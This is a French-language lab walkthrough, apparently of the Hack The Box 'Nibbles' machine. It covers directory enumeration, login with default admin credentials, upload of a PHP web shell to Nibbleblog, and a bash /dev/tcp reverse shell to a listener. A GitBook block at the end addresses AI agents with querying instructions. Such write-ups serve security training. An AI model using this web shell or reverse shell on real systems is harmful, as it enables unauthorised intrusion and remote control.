> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/nibbles-blog-cms-exploitation.md).

# Blog Nibbles

### Nibbles Blog - CMS

<figure><img src="/files/b8ef0800f4e553a4655b7c2a34dc1d2fc4b256ee" alt=""><figcaption></figcaption></figure>

Le site semble être un CMS Nibbleblog. Utilisez `gobuster` pour rechercher des répertoires supplémentaires :

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/937a495d3ac1284b43001facbbbd43b9e0a04bcf" alt=""><figcaption></figcaption></figure>

#### Recherche de fichiers PHP :

L’énumération des fichiers PHP révèle `admin.php`, qui semble être un panneau d’administration.

<figure><img src="/files/1e14aa2bdc5209f67b348b4c789547c93acd37c2" alt=""><figcaption></figcaption></figure>

#### Tentative de connexion avec des identifiants

Essayez de vous connecter avec les identifiants suivants :

* **Utilisateur** : admin
* **Mot de passe** : nibbles

<figure><img src="/files/0f0af3da7d5a0961d0063c85205f3d6cb1b265a3" alt=""><figcaption></figcaption></figure>

Cela fonctionne et donne accès à l’interface d’administration.

<figure><img src="/files/75a1b1c907a4aeccb4d57f3aa769bec8f7bea300" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichiers Nibbleblog

Une fonction de téléversement d’images est découverte :

<figure><img src="/files/9f958d65a88ba66d68693ad8b9a2021af4640b50" alt=""><figcaption></figcaption></figure>

Créez un `cmd.php` fichier avec le code suivant pour activer l’exécution de commandes :

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Le fichier est téléversé dans `contenu`, où un `privé` sous-dossier contient des plugins.

<figure><img src="/files/55d03efde7fc861dfd8221e618a6df191d9d4bd8" alt=""><figcaption></figcaption></figure>

#### Exécution de commandes via le téléversement de fichiers

Le `cmd` le paramètre permet l’exécution de commandes. Par exemple, utilisez l’URL suivante pour obtenir les informations d’identité du système :

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/386c870d320f00aa793239542fe75685f313e161" alt=""><figcaption></figcaption></figure>

Obtenez l’accès au serveur via un shell inversé. Démarrez un écouteur sur le port 443 :

```bash
nc -nlvp 443
```

Puis exécutez le shell inversé sur la cible :

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/c166816d05bf296d8ba20840a56f8509d67049ea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
